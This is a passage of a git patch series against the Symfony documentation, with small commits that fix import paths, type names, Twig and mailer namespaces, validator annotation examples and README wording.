index d0ed86a5922..23c215b1105 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -19,7 +19,7 @@ application: it will *require* all of the dependencies it needs (e.g. jQuery or
 
     import './styles/app.css';
 
-    // var $ = require('jquery');
+    // import $ from 'jquery';
 
 Encore's job (via Webpack) is simple: to read and follow *all* of the ``require()``
 statements and create one final ``app.js`` (and ``app.css``) that contains *everything*
@@ -204,8 +204,8 @@ To import values, use ``import``:
 .. code-block:: diff
 
     // assets/app.js
-    - require('../css/app.css');
-    + import '../css/app.css';
+    - require('../styles/app.css');
+    + import './styles/app.css';
 
     - var $ = require('jquery');
     + import $ from 'jquery';
@@ -292,8 +292,8 @@ file to ``app.scss`` and update the ``import`` statement:
 .. code-block:: diff
 
     // assets/app.js
-    - import '../css/app.css';
-    + import '../css/app.scss';
+    - import './styles/app.css';
+    + import './styles/app.scss';
 
 Then, tell Encore to enable the Sass pre-processor:
 

From 66491462f0cc583c4b4fab40c7901bd3dcf84d51 Mon Sep 17 00:00:00 2001
From: Greg Suraci <gregory.suraci@smile.fr>
Date: Tue, 10 Nov 2020 08:11:38 +0100
Subject: [PATCH 0108/5766] Remove simple quotes in
 config/routes/annotations.yaml

I find it weird to have both quoted and un-quoted values for `resource:` key in this code block.
I went to an actual project to double check the content of `config/routes/annotations.yaml` provided by the recipe (https://github.com/symfony/recipes/blob/master/doctrine/annotations/1.0/config/routes/annotations.yaml) and found out that both `resource:` are unquoted.

Versions : 4.4, 5.0, 5.1, 5.2

Have a good day ;)
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index cfcbeb39b73..5fd4ad30225 100644
--- a/routing.rst
+++ b/routing.rst
@@ -36,7 +36,7 @@ following configuration file:
 
     # config/routes/annotations.yaml
     controllers:
-        resource: '../../src/Controller/'
+        resource: ../../src/Controller/
         type: annotation
 
     kernel:

From 2c0cad0155fe7ec66b5f853388e40d6acb149b22 Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Wed, 11 Nov 2020 08:34:42 +0100
Subject: [PATCH 0109/5766] Use int type instead integer

Uses the same type hint `int` for all the page

Used in `optimizations` config
---
 reference/configuration/twig.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index e00d7f63958..055568b1f2e 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -269,7 +269,7 @@ every ``number_format`` filter call.
 decimals
 ........
 
-**type**: ``integer`` **default**: ``0``
+**type**: ``int`` **default**: ``0``
 
 The number of decimals used to format numeric values when no specific number is
 passed as argument to the ``number_format`` filter.

From beea71cbcbac5af0104886aee217968981bfc1a2 Mon Sep 17 00:00:00 2001
From: Kamil P <pesek.kamil@seznam.cz>
Date: Mon, 9 Nov 2020 09:09:22 +0100
Subject: [PATCH 0110/5766] Update mailer.rst

The registeted namespace is "styles", not "css".
---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 025a5c43813..ac83f41fe1e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -586,7 +586,7 @@ arguments to the filter:
 
 .. code-block:: html+twig
 
-    {% apply inline_css(source('@css/email.css')) %}
+    {% apply inline_css(source('@styles/email.css')) %}
         <h1>Welcome {{ username }}!</h1>
         {# ... #}
     {% endapply %}

From 2062d4aba76006465689198102bbe69f8d69c68f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 12 Nov 2020 09:58:52 +0100
Subject: [PATCH 0111/5766] Minor: Fix namespace

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index ac83f41fe1e..025a5c43813 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -586,7 +586,7 @@ arguments to the filter:
 
 .. code-block:: html+twig
 
-    {% apply inline_css(source('@styles/email.css')) %}
+    {% apply inline_css(source('@css/email.css')) %}
         <h1>Welcome {{ username }}!</h1>
         {# ... #}
     {% endapply %}

From 71b3d30cbc50f750479a4afce29148cb6f64f90e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 12 Nov 2020 10:00:04 +0100
Subject: [PATCH 0112/5766] Minor: Fix namespace

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index a932050c049..dffbd25b3ed 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -605,7 +605,7 @@ arguments to the filter:
 
 .. code-block:: html+twig
 
-    {% apply inline_css(source('@css/email.css')) %}
+    {% apply inline_css(source('@styles/email.css')) %}
         <h1>Welcome {{ username }}!</h1>
         {# ... #}
     {% endapply %}

From b3ef599517f14edf6be9ec602faa3c97f51512ac Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Wed, 11 Nov 2020 08:44:53 +0100
Subject: [PATCH 0113/5766] add html extension to snake_case recommendation
 examples

Some readers may inconsciently memorize the syntax `file_name.twig` and ignores the second `recommendation` (declaring two extension `html.twig`), it can happen if someone looks only for `snak_case` keyword without reading whole page.

I suggest to add `html` extension on the first examples to make sure recommendations cannot escape reader.
---
 templates.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/templates.rst b/templates.rst
index f415eaa82e3..1431e0244a9 100644
--- a/templates.rst
+++ b/templates.rst
@@ -118,8 +118,8 @@ Template Naming
 
 Symfony recommends the following for template names:
 
-* Use `snake case`_ for filenames and directories (e.g. ``blog_posts.twig``,
-  ``admin/default_theme/blog/index.twig``, etc.);
+* Use `snake case`_ for filenames and directories (e.g. ``blog_posts.html.twig``,
+  ``admin/default_theme/blog/index.html.twig``, etc.);
 * Define two extensions for filenames (e.g. ``index.html.twig`` or
   ``blog_posts.xml.twig``) being the first extension (``html``, ``xml``, etc.)
   the final format that the template will generate.

From 35474186058890bf32c6fa286425ce6cf1a27225 Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Wed, 11 Nov 2020 09:23:48 +0100
Subject: [PATCH 0114/5766] Throw Exception if twig variable is not found

An exception of type `Twig\Error\RuntimeError` is thrown when a variable is not found and `strict_variables` is enabled
---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 1431e0244a9..67fdf4a07ef 100644
--- a/templates.rst
+++ b/templates.rst
@@ -164,7 +164,7 @@ in the following order:
 #. ``$foo->getBar()`` (object and *getter* method);
 #. ``$foo->isBar()`` (object and *isser* method);
 #. ``$foo->hasBar()`` (object and *hasser* method);
-#. If none of the above exists, use ``null``.
+#. If none of the above exists, use ``null`` or throw a ``Twig\Error\RuntimeError`` exception if ``strict_variables`` config is enabled.
 
 This allows to evolve your application code without having to change the
 template code (you can start with array variables for the application proof of

From 6d1fac84859b31e8de699f2a62c5e75d334ea3c7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Nov 2020 10:21:51 +0100
Subject: [PATCH 0115/5766] Tweak

---
 reference/configuration/twig.rst | 2 ++
 templates.rst                    | 4 +++-
 2 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 1d11db3e3da..96f596d1db6 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -382,6 +382,8 @@ the directory defined in the :ref:`default_path option <config-twig-default-path
 
 Read more about :ref:`template directories and namespaces <templates-namespaces>`.
 
+.. _config-twig-strict-variables:
+
 strict_variables
 ~~~~~~~~~~~~~~~~
 
diff --git a/templates.rst b/templates.rst
index 67fdf4a07ef..09314868c2d 100644
--- a/templates.rst
+++ b/templates.rst
@@ -164,7 +164,9 @@ in the following order:
 #. ``$foo->getBar()`` (object and *getter* method);
 #. ``$foo->isBar()`` (object and *isser* method);
 #. ``$foo->hasBar()`` (object and *hasser* method);
-#. If none of the above exists, use ``null`` or throw a ``Twig\Error\RuntimeError`` exception if ``strict_variables`` config is enabled.
+#. If none of the above exists, use ``null`` (or throw a ``Twig\Error\RuntimeError``
+   exception if the :ref:`strict_variables <config-twig-strict-variables>`
+   option is enabled).
 
 This allows to evolve your application code without having to change the
 template code (you can start with array variables for the application proof of

From 1e4a70f50564bb01b5cab5111797f02cc3016ea6 Mon Sep 17 00:00:00 2001
From: Alessio Pierobon <alessio.pierobon@gmail.com>
Date: Wed, 11 Nov 2020 00:07:48 +0100
Subject: [PATCH 0116/5766] Fix a typo on Messenger handler results example

---
 messenger/handler_results.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index dc4c1fd0821..2ab36a2b40d 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -40,7 +40,7 @@ handler is registered. The ``HandleTrait`` can be used in any class that has a
     namespace App\Action;
 
     use App\Message\ListItemsQuery;
-    use App\MessageHandler\ListItemsQueryResult;
+    use App\MessageHandler\ListItemsResult;
     use Symfony\Component\Messenger\HandleTrait;
     use Symfony\Component\Messenger\MessageBusInterface;
 

From d84c04c25043e92f0aa28b47d1696dcb424254fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Nov 2020 10:26:50 +0100
Subject: [PATCH 0117/5766] Tweak

---
 messenger/handler_results.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index 2ab36a2b40d..ee3b09dc99d 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -40,7 +40,7 @@ handler is registered. The ``HandleTrait`` can be used in any class that has a
     namespace App\Action;
 
     use App\Message\ListItemsQuery;
-    use App\MessageHandler\ListItemsResult;
+    use App\MessageHandler\ListItemsQueryResult;
     use Symfony\Component\Messenger\HandleTrait;
     use Symfony\Component\Messenger\MessageBusInterface;
 
@@ -62,7 +62,7 @@ handler is registered. The ``HandleTrait`` can be used in any class that has a
         }
 
         // Creating such a method is optional, but allows type-hinting the result
-        private function query(ListItemsQuery $query): ListItemsResult
+        private function query(ListItemsQuery $query): ListItemsQueryResult
         {
             return $this->handle($query);
         }

From fc220753a708416e2f007f9317bae266b0ffee2e Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Thu, 12 Nov 2020 12:04:48 +0100
Subject: [PATCH 0118/5766] Use integer typehint instead int

---
 reference/configuration/twig.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 055568b1f2e..100d168b792 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -269,7 +269,7 @@ every ``number_format`` filter call.
 decimals
 ........
 
-**type**: ``int`` **default**: ``0``
+**type**: ``integer`` **default**: ``0``
 
 The number of decimals used to format numeric values when no specific number is
 passed as argument to the ``number_format`` filter.
@@ -294,7 +294,7 @@ no specific character is passed as argument to the ``number_format`` filter.
 optimizations
 ~~~~~~~~~~~~~
 
-**type**: ``int`` **default**: ``-1``
+**type**: ``integer`` **default**: ``-1``
 
 Twig includes an extension called ``optimizer`` which is enabled by default in
 Symfony applications. This extension analyzes the templates to optimize them

From 120290daedd1f928c7c78d781d3911f4d754a60f Mon Sep 17 00:00:00 2001
From: Youssef BENHSSAIEN <youssefbenhssaien@gmail.com>
Date: Thu, 12 Nov 2020 14:16:44 +0100
Subject: [PATCH 0119/5766] Replace bool by boolean

---
 reference/configuration/framework.rst            | 4 ++--
 reference/constraints/AtLeastOneOf.rst           | 2 +-
 reference/constraints/Hostname.rst               | 2 +-
 reference/constraints/NotBlank.rst               | 2 +-
 reference/constraints/Traverse.rst               | 2 +-
 reference/forms/types/color.rst                  | 2 +-
 reference/forms/types/options/help_html.rst.inc  | 2 +-
 reference/forms/types/options/label_html.rst.inc | 2 +-
 8 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d4058e76c82..c353f73f163 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -801,7 +801,7 @@ outgoing network interface.
 buffer
 ......
 
-**type**: ``bool`` | ``Closure``
+**type**: ``boolean`` | ``Closure``
 
 Buffering the response means that you can access its content multiple times
 without performing the request again. Buffering is enabled by default when the
@@ -2851,7 +2851,7 @@ Name of the workflow you want to create.
 audit_trail
 """""""""""
 
-**type**: ``bool``
+**type**: ``boolean``
 
 If set to ``true``, the :class:`Symfony\\Component\\Workflow\\EventListener\\AuditTrailListener`
 will be enabled.
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index 6a48c44a4fd..b69894184d6 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -163,7 +163,7 @@ has to be satisfied in order for the validation to succeed.
 includeInternalMessages
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 If set to ``true``, the message that is shown if the validation fails,
 will include the list of messages for the internal constraints. See option
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index 4cbe606ccb4..a08425f5fa2 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -117,7 +117,7 @@ Parameter        Description
 ``requireTld``
 ~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 By default, hostnames are considered valid only when they are fully qualified
 and include their TLDs (top-level domain names). For instance, ``example.com``
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index c3c16f21eae..a87b8696824 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -85,7 +85,7 @@ Options
 allowNull
 ~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 If set to ``true``, ``null`` values are considered valid and won't trigger a
 constraint violation.
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 852f17cdd01..aea7e051ee1 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -146,7 +146,7 @@ The ``groups`` option is not available for this constraint.
 ``traverse``
 ~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 Instances of ``\Traversable`` are traversed by default, use this option to
 disable validating:
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index a290b31e673..5dfd61915ce 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -49,7 +49,7 @@ Field Options
 html5
 ~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 .. versionadded:: 5.1
 
diff --git a/reference/forms/types/options/help_html.rst.inc b/reference/forms/types/options/help_html.rst.inc
index 83bbe583ca6..2a5dccfb32e 100644
--- a/reference/forms/types/options/help_html.rst.inc
+++ b/reference/forms/types/options/help_html.rst.inc
@@ -1,7 +1,7 @@
 help_html
 ~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 By default, the contents of the ``help`` option are escaped before rendering
 them in the template. Set this option to ``true`` to not escape them, which is
diff --git a/reference/forms/types/options/label_html.rst.inc b/reference/forms/types/options/label_html.rst.inc
index 06568ed08f4..a87ad4ab6db 100644
--- a/reference/forms/types/options/label_html.rst.inc
+++ b/reference/forms/types/options/label_html.rst.inc
@@ -1,7 +1,7 @@
 ``label_html``
 ~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 .. versionadded:: 5.1
 

From df7682967fc887e516779ea015b4787728f69d6e Mon Sep 17 00:00:00 2001
From: Youssef Benhssaien <youssefbenhssaien@gmail.com>
Date: Wed, 11 Nov 2020 08:34:42 +0100
Subject: [PATCH 0120/5766] Use integer type instead of int & boolean instead
 of bool

---
 reference/configuration/framework.rst            | 4 ++--
 reference/configuration/twig.rst                 | 2 +-
 reference/constraints/AtLeastOneOf.rst           | 2 +-
 reference/constraints/Hostname.rst               | 2 +-
 reference/constraints/NotBlank.rst               | 2 +-
 reference/constraints/Traverse.rst               | 2 +-
 reference/forms/types/color.rst                  | 2 +-
 reference/forms/types/options/help_html.rst.inc  | 2 +-
 reference/forms/types/options/label_html.rst.inc | 2 +-
 9 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d4058e76c82..c353f73f163 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -801,7 +801,7 @@ outgoing network interface.
 buffer
 ......
 
-**type**: ``bool`` | ``Closure``
+**type**: ``boolean`` | ``Closure``
 
 Buffering the response means that you can access its content multiple times
 without performing the request again. Buffering is enabled by default when the
@@ -2851,7 +2851,7 @@ Name of the workflow you want to create.
 audit_trail
 """""""""""
 
-**type**: ``bool``
+**type**: ``boolean``
 
 If set to ``true``, the :class:`Symfony\\Component\\Workflow\\EventListener\\AuditTrailListener`
 will be enabled.
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index e00d7f63958..100d168b792 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -294,7 +294,7 @@ no specific character is passed as argument to the ``number_format`` filter.
 optimizations
 ~~~~~~~~~~~~~
 
-**type**: ``int`` **default**: ``-1``
+**type**: ``integer`` **default**: ``-1``
 
 Twig includes an extension called ``optimizer`` which is enabled by default in
 Symfony applications. This extension analyzes the templates to optimize them
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index 6a48c44a4fd..b69894184d6 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -163,7 +163,7 @@ has to be satisfied in order for the validation to succeed.
 includeInternalMessages
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 If set to ``true``, the message that is shown if the validation fails,
 will include the list of messages for the internal constraints. See option
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index 4cbe606ccb4..a08425f5fa2 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -117,7 +117,7 @@ Parameter        Description
 ``requireTld``
 ~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 By default, hostnames are considered valid only when they are fully qualified
 and include their TLDs (top-level domain names). For instance, ``example.com``
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index c3c16f21eae..a87b8696824 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -85,7 +85,7 @@ Options
 allowNull
 ~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 If set to ``true``, ``null`` values are considered valid and won't trigger a
 constraint violation.
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 852f17cdd01..aea7e051ee1 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -146,7 +146,7 @@ The ``groups`` option is not available for this constraint.
 ``traverse``
 ~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 Instances of ``\Traversable`` are traversed by default, use this option to
 disable validating:
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index a290b31e673..5dfd61915ce 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -49,7 +49,7 @@ Field Options
 html5
 ~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 .. versionadded:: 5.1
 
diff --git a/reference/forms/types/options/help_html.rst.inc b/reference/forms/types/options/help_html.rst.inc
index 83bbe583ca6..2a5dccfb32e 100644
--- a/reference/forms/types/options/help_html.rst.inc
+++ b/reference/forms/types/options/help_html.rst.inc
@@ -1,7 +1,7 @@
 help_html
 ~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 By default, the contents of the ``help`` option are escaped before rendering
 them in the template. Set this option to ``true`` to not escape them, which is
diff --git a/reference/forms/types/options/label_html.rst.inc b/reference/forms/types/options/label_html.rst.inc
index 06568ed08f4..a87ad4ab6db 100644
--- a/reference/forms/types/options/label_html.rst.inc
+++ b/reference/forms/types/options/label_html.rst.inc
@@ -1,7 +1,7 @@
 ``label_html``
 ~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 .. versionadded:: 5.1
 

From da74408ae32e30e55f527915feb48bec6b5bd724 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 12 Nov 2020 14:37:29 +0100
Subject: [PATCH 0121/5766] Minor

---
 reference/configuration/framework.rst           | 4 ++--
 reference/configuration/twig.rst                | 2 +-
 reference/constraints/NotBlank.rst              | 2 +-
 reference/constraints/Traverse.rst              | 2 +-
 reference/forms/types/options/help_html.rst.inc | 2 +-
 reference/forms/types/timezone.rst              | 2 +-
 6 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f388b5c9eb5..cd76b908c64 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -829,7 +829,7 @@ outgoing network interface.
 buffer
 ......
 
-**type**: ``bool`` | ``Closure``
+**type**: ``boolean`` | ``Closure``
 
 Buffering the response means that you can access its content multiple times
 without performing the request again. Buffering is enabled by default when the
@@ -2960,7 +2960,7 @@ Name of the workflow you want to create.
 audit_trail
 """""""""""
 
-**type**: ``bool``
+**type**: ``boolean``
 
 If set to ``true``, the :class:`Symfony\\Component\\Workflow\\EventListener\\AuditTrailListener`
 will be enabled.
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 96f596d1db6..5fc8b95313c 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -318,7 +318,7 @@ no specific character is passed as argument to the ``number_format`` filter.
 optimizations
 ~~~~~~~~~~~~~
 
-**type**: ``int`` **default**: ``-1``
+**type**: ``integer`` **default**: ``-1``
 
 Twig includes an extension called ``optimizer`` which is enabled by default in
 Symfony applications. This extension analyzes the templates to optimize them
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index 19ac9542ec9..342293b2394 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -85,7 +85,7 @@ Options
 allowNull
 ~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 If set to ``true``, ``null`` values are considered valid and won't trigger a
 constraint violation.
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 852f17cdd01..aea7e051ee1 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -146,7 +146,7 @@ The ``groups`` option is not available for this constraint.
 ``traverse``
 ~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 Instances of ``\Traversable`` are traversed by default, use this option to
 disable validating:
diff --git a/reference/forms/types/options/help_html.rst.inc b/reference/forms/types/options/help_html.rst.inc
index 83bbe583ca6..2a5dccfb32e 100644
--- a/reference/forms/types/options/help_html.rst.inc
+++ b/reference/forms/types/options/help_html.rst.inc
@@ -1,7 +1,7 @@
 help_html
 ~~~~~~~~~
 
-**type**: ``bool`` **default**: ``false``
+**type**: ``boolean`` **default**: ``false``
 
 By default, the contents of the ``help`` option are escaped before rendering
 them in the template. Set this option to ``true`` to not escape them, which is
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 1cdba0d5d78..9458e3a7d1a 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -101,7 +101,7 @@ with the ``choice_translation_locale`` option.
 ``regions``
 ~~~~~~~~~~~
 
-**type**: ``int`` **default**: ``\DateTimeZone::ALL``
+**type**: ``integer`` **default**: ``\DateTimeZone::ALL``
 
 .. deprecated:: 4.2
 

From 7b5bb01370ce749e2eeaacd6c061008b9f9ca34f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 12 Nov 2020 11:40:34 +0100
Subject: [PATCH 0122/5766] Enhancement: Add new rule "string_replacement"

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index e8f02a9fb05..52a1fc2ba4a 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -34,6 +34,7 @@ rules:
     short_array_syntax: ~
     space_between_label_and_link_in_doc: ~
     space_between_label_and_link_in_ref: ~
+    string_replacement: ~
     typo: ~
     unused_links: ~
     use_deprecated_directive_instead_of_versionadded: ~

From 1aa619a120c847a796ce2bebcd37c9189acd8534 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Fri, 13 Nov 2020 17:49:22 +0100
Subject: [PATCH 0123/5766] Fix broken configuration block

---
 lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lock.rst b/lock.rst
index 51f375adc33..3fde32ee190 100644
--- a/lock.rst
+++ b/lock.rst
@@ -223,7 +223,7 @@ Named Lock
 ----------
 
 If the application needs different kind of Stores alongside each other, Symfony
-provides :ref:`named lock <reference-lock-resources-name>`::
+provides :ref:`named lock <reference-lock-resources-name>`:
 
 .. configuration-block::
 

From 6b7c7fb1bfbdd64052c900423c50e3223abbd9b7 Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Sat, 14 Nov 2020 10:40:26 +0100
Subject: [PATCH 0124/5766] [Validator] Remove empty line from annotation

---
 reference/constraints/DivisibleBy.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index c93052a248a..f4ae78ab0f8 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -33,7 +33,6 @@ The following constraints ensure that:
 
         class Item
         {
-
             /**
              * @Assert\DivisibleBy(0.25)
              */

From b781296cf0e084b00ee8f4f4aee78c7604c60099 Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Sat, 14 Nov 2020 15:27:25 +0100
Subject: [PATCH 0125/5766] [Validator] Fix ExpressionLanguageSyntax example

---
 reference/constraints/ExpressionLanguageSyntax.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index 2ca0355dfaf..18c465e8a9d 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -40,13 +40,13 @@ The following constraints ensure that:
         class Order
         {
             /**
-             * @Assert\ExpressionLanguageSyntax()
+             * @Assert\ExpressionLanguageSyntax
              */
             protected $promotion;
 
             /**
              * @Assert\ExpressionLanguageSyntax(
-             *     allowedVariables = ['user', 'shipping_centers']
+             *     allowedVariables={"user", "shipping_centers"}
              * )
              */
             protected $shippingOptions;
@@ -77,7 +77,10 @@ The following constraints ensure that:
                 </property>
                 <property name="shippingOptions">
                     <constraint name="ExpressionLanguageSyntax">
-                        <option name="allowedVariables">['user', 'shipping_centers']</option>
+                        <option name="allowedVariables">
+                            <value>user</value>
+                            <value>shipping_centers</value>
+                        </option>
                     </constraint>
                 </property>
             </class>

From 2496ee7b29ea29da22f3da1b2dec6ea062c38dfe Mon Sep 17 00:00:00 2001
From: Arman Hosseini <namra.1377@gmail.com>
Date: Sun, 15 Nov 2020 02:16:52 +0330
Subject: [PATCH 0126/5766] Update README.markdown

Clarify the Note section
---
 README.markdown | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/README.markdown b/README.markdown
index 1d94f6f1ff0..8923f022322 100644
--- a/README.markdown
+++ b/README.markdown
@@ -11,9 +11,9 @@ Symfony documentation, please read
 [Contributing to the Documentation](https://symfony.com/doc/current/contributing/documentation/overview.html)
 
 > **Note**
-> Unless you're documenting a feature that was introduced *after* Symfony 3.4
-> (e.g. in Symfony 4.4), all pull requests must be based off of the **3.4** branch,
-> **not** the master or older branches.
+> All pull requests must be based off of the **3.4** branch,
+> unless you're documenting a feature that was introduced *after* Symfony 3.4
+> (e.g. in Symfony 4.4), **not** the master or older branches.
 
 SymfonyCloud
 ------------

From a08f0959917ba5a647796759466e3603cbaa8adc Mon Sep 17 00:00:00 2001
From: wkania <57155526+wkania@users.noreply.github.com>
Date: Sat, 14 Nov 2020 10:09:28 +0100
Subject: [PATCH 0127/5766] [Validator] Remove extra space

---
 reference/constraints/Isbn.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

